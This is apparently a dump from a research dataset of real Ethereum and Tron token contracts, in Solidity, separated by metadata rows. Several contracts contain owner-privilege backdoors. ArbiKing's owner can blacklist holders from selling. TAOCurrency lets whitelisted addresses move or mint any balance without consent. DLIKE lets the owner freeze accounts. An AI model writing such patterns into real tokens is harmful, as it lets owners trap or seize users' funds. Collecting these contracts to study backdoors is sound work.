function transferLockedBalance(address _beneficiary) public {
require(_beneficiary != address(0));
require(now >= lockedTill);
require(lockedTokens > 0);
require(approved[_beneficiary]);
require(lockedBalances[_beneficiary] > 0);
uint256 _lockedTokensToTransfer = lockedBalances[_beneficiary];
token.transfer(_beneficiary, _lockedTokensToTransfer);
distributedBalances[_beneficiary] = distributedBalances[_beneficiary].add(_lockedTokensToTransfer);
lockedTokens = lockedTokens.sub(_lockedTokensToTransfer);
lockedBalances[_beneficiary] = 0;
distributedTokens = distributedTokens.add(_lockedTokensToTransfer);
}
function transferToken(uint256 _tokens) external onlyOwner returns (bool success) {
//bool withinPeriod = hasStarted() && hasNotEnded();
//require(!withinPeriod);
return token.transfer(owner, _tokens);
}
function tokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
//destory contract with unsold tokens
function burnUnsold() public onlyOwner {
require(now > lockedTill);
require(address(this).balance == 0);
require(lockedTokens == 0);
require(allocatedTokens == 0);
require(unSoldTokens > 0);
selfdestruct(owner);
}
}
| 181,348 | 12,788 |
6d94b2c05690981bbf407a2d4d54cd55f64d325659076fdca7839566f18efad1
| 11,922 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/47/478288780ff19bc20bd8b7e0145484f28ca39786_ArbiKing.sol
| 3,023 | 11,344 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ArbiKing is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=10;
uint256 private _initialSellTax=30;
uint256 private _finalTax=4;
uint256 private _reduceBuyTaxAt=15;
uint256 private _reduceSellTaxAt=30;
uint256 private _preventSwapBefore=15;
uint256 private _buyCount=0;
uint8 private constant _decimals = 8;
uint256 private constant _tTotal = 1000000 * 10**_decimals;
string private constant _name = unicode"ArbiKing";
string private constant _symbol = unicode"AKING";
uint256 public _maxTxAmount = 20000 * 10**_decimals;
uint256 public _maxWalletSize = 20000 * 10**_decimals;
uint256 public _taxSwapThreshold=5000 * 10**_decimals;
uint256 public _maxTaxSwap=10000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalTax:_initialBuyTax).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this)){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
receive() external payable {}
function manualSwap() external {
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}
| 30,247 | 12,789 |
4675af30041af2824295b356531d3e0de7066700c6f0c2189de1d1193d82942a
| 31,032 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x1b33d4ba1635442c484dcb9ce8c18d0f3d308e85.sol
| 5,268 | 17,295 |
pragma solidity >=0.5.4 <0.6.0;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface INameTAOPosition {
function senderIsAdvocate(address _sender, address _id) external view returns (bool);
function senderIsListener(address _sender, address _id) external view returns (bool);
function senderIsSpeaker(address _sender, address _id) external view returns (bool);
function senderIsPosition(address _sender, address _id) external view returns (bool);
function getAdvocate(address _id) external view returns (address);
function nameIsAdvocate(address _nameId, address _id) external view returns (bool);
function nameIsPosition(address _nameId, address _id) external view returns (bool);
function initialize(address _id, address _advocateId, address _listenerId, address _speakerId) external returns (bool);
function determinePosition(address _sender, address _id) external view returns (uint256);
}
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name; // the name for this TAO
address public originId; // the ID of the Name that created this TAO. If Name, it's the eth address
// TAO's data
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
uint8 public typeId;
constructor (string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _vaultAddress) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
// Creating TAO
typeId = 0;
vaultAddress = _vaultAddress;
}
modifier onlyVault {
require (msg.sender == vaultAddress);
_;
}
function () external payable {
}
function transferEth(address payable _recipient, uint256 _amount) public onlyVault returns (bool) {
_recipient.transfer(_amount);
return true;
}
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.transfer(_recipient, _amount);
return true;
}
}
contract Name is TAO {
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
// Creating Name
typeId = 1;
}
}
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6; // 1000000 = 1
uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6; // 100% = 1000000
function isTAO(address _taoId) public view returns (bool) {
return (_taoId != address(0) && bytes(TAO(address(uint160(_taoId))).name()).length > 0 && TAO(address(uint160(_taoId))).originId() != address(0) && TAO(address(uint160(_taoId))).typeId() == 0);
}
function isName(address _nameId) public view returns (bool) {
return (_nameId != address(0) && bytes(TAO(address(uint160(_nameId))).name()).length > 0 && Name(address(uint160(_nameId))).originId() != address(0) && Name(address(uint160(_nameId))).typeId() == 1);
}
function isValidERC20TokenAddress(address _tokenAddress) public view returns (bool) {
if (_tokenAddress == address(0)) {
return false;
}
TokenERC20 _erc20 = TokenERC20(_tokenAddress);
return (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0);
}
function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {
return (_sender == _theAO ||
((isTAO(_theAO) || isName(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
INameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)));
}
function PERCENTAGE_DIVISOR() public pure returns (uint256) {
return _PERCENTAGE_DIVISOR;
}
function MULTIPLIER_DIVISOR() public pure returns (uint256) {
return _MULTIPLIER_DIVISOR;
}
function deployTAO(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress) public returns (TAO _tao) {
_tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function deployName(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress) public returns (Name _myName) {
_myName = new Name(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedIons = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));
uint256 _totalIons = _currentPrimordialBalance.add(_additionalPrimordialAmount);
return _totalWeightedIons.div(_totalIons);
} else {
return _additionalWeightedMultiplier;
}
}
function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier));
return multiplier.div(_MULTIPLIER_DIVISOR);
} else {
return 0;
}
}
function calculateNetworkBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR);
return bonusPercentage;
} else {
return 0;
}
}
function calculateNetworkBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
uint256 bonusPercentage = calculateNetworkBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
uint256 networkBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);
return networkBonus;
}
function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) {
return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier);
}
function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn));
}
function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert));
}
function numDigits(uint256 number) public pure returns (uint8) {
uint8 digits = 0;
while(number != 0) {
number = number.div(10);
digits++;
}
return digits;
}
}
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
// Check whether an address is whitelisted and granted access to transact
// on behalf of others
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
modifier inWhitelist() {
require (whitelist[msg.sender] == true);
_;
}
function transferOwnership(address _theAO) public {
require (msg.sender == theAO);
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public {
require (msg.sender == theAO);
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
contract TAOCurrency is TheAO {
using SafeMath for uint256;
// Public variables of the contract
string public name;
string public symbol;
uint8 public decimals;
// To differentiate denomination of TAO Currency
uint256 public powerOfTen;
uint256 public totalSupply;
// This creates an array with all balances
// address is the address of nameId, not the eth public address
mapping (address => uint256) public balanceOf;
// This generates a public event on the blockchain that will notify clients
// address is the address of TAO/Name Id, not eth public address
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
// address is the address of TAO/Name Id, not eth public address
event Burn(address indexed from, uint256 value);
constructor (string memory _name, string memory _symbol, address _nameTAOPositionAddress) public {
name = _name; // Set the name for display purposes
symbol = _symbol; // Set the symbol for display purposes
powerOfTen = 0;
decimals = 0;
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
function transferFrom(address _from, address _to, uint256 _value) public inWhitelist isNameOrTAO(_from) isNameOrTAO(_to) returns (bool) {
_transfer(_from, _to, _value);
return true;
}
function mint(address target, uint256 mintedAmount) public inWhitelist isNameOrTAO(target) returns (bool) {
_mint(target, mintedAmount);
return true;
}
function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist isNameOrTAO(_from) returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
function _mint(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
}
contract LogosZetta is TAOCurrency {
constructor(string memory _name, string memory _symbol, address _nameTAOPositionAddress)
TAOCurrency(_name, _symbol, _nameTAOPositionAddress) public {
powerOfTen = 21;
decimals = 21;
}
}
| 140,007 | 12,790 |
7e35ecc26cc52191d83e0b79a772a5f536983163cf7989c1a69c082e02695ef9
| 17,767 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THgmBFcZCpg18r4FWkBusCBE9UaxmKMY2R_DLIKE.sol
| 3,623 | 14,182 |
//SourceUnit: dlike_contract.sol
pragma solidity 0.5.9;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath mul failed');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath sub failed');
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath add failed');
return c;
}
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract Ownable {
address payable internal _owner;
address public signer;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
signer = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlySigner {
require(msg.sender == signer, "caller must be signer");
_;
}
function setSigner(address _signer) public onlyOwner {
signer = _signer;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address payable newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface stakeContract {
function transfer(address _to, uint256 _amount) external returns (bool);
function transferFrom(address _from, address _to, uint256 _amount) external returns (bool);
}
//
//--------------------- MAIN CODE STARTS HERE ---------------------//
//
contract DLIKE is Ownable {
// Public variables of DLIKE
using SafeMath for uint256;
string constant private _name = "DLIKE";
string constant private _symbol = "DLIKE";
uint256 constant private _decimals = 6;
uint256 private _totalSupply = 0;
bool public safeguard;
// This creates a mapping with all data storage
mapping (address => uint256) private _balanceOf;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => bool) public frozenAccount;
mapping(address=>uint256) public stakePool;
mapping(address=>uint256) public checkPowerDownPeriod;
mapping(address=>uint256) public unstakePool;
// This generates a public event of token transfer
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// This generates a public event for frozen (blacklisting) accounts
event FrozenAccounts(address target, bool frozen);
// This will log approval of token Transfer
event Approval(address indexed from, address indexed spender, uint256 value);
function name() public pure returns(string memory) {
return _name;
}
function symbol() public pure returns(string memory) {
return _symbol;
}
function decimals() public pure returns(uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address user) public view returns(uint256) {
return _balanceOf[user];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowance[owner][spender];
}
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
_balanceOf[_from] = _balanceOf[_from].sub(_value); // Subtract from the sender
_balanceOf[_to] = _balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
_allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_balanceOf[msg.sender] >= _value, "Balance does not have enough tokens");
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increase_allowance(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(value);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
function decrease_allowance(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].sub(value);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
constructor() public {}
function() external payable {}
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(_value); // Subtract from the sender
_totalSupply = _totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
_balanceOf[_from] = _balanceOf[_from].sub(_value); // Minus from the targeted balance
_allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value); // Minus from the sender's allowance
_totalSupply = _totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
emit Transfer(_from, address(0), _value);
return true;
}
function freezeAccount(address target, bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
emit FrozenAccounts(target, freeze);
}
uint256 public PowerDownPeriod=604800;
uint256 totalStake=0;
uint256 totalUnstake=0;
event mintcommonReward(address indexed user, uint256 indexed amount, uint256 time);
event mintstakeReward(address indexed user, uint256 indexed amount, uint256 time);
event putstake(address indexed user, uint256 indexed amount, uint256 time);
event withdrawStake(address indexed user, uint256 indexed amount, uint256 time);
event unstakeEv(address indexed user, uint256 indexed amount, uint256 time);
mapping(address=>uint256) public tokenBalances;
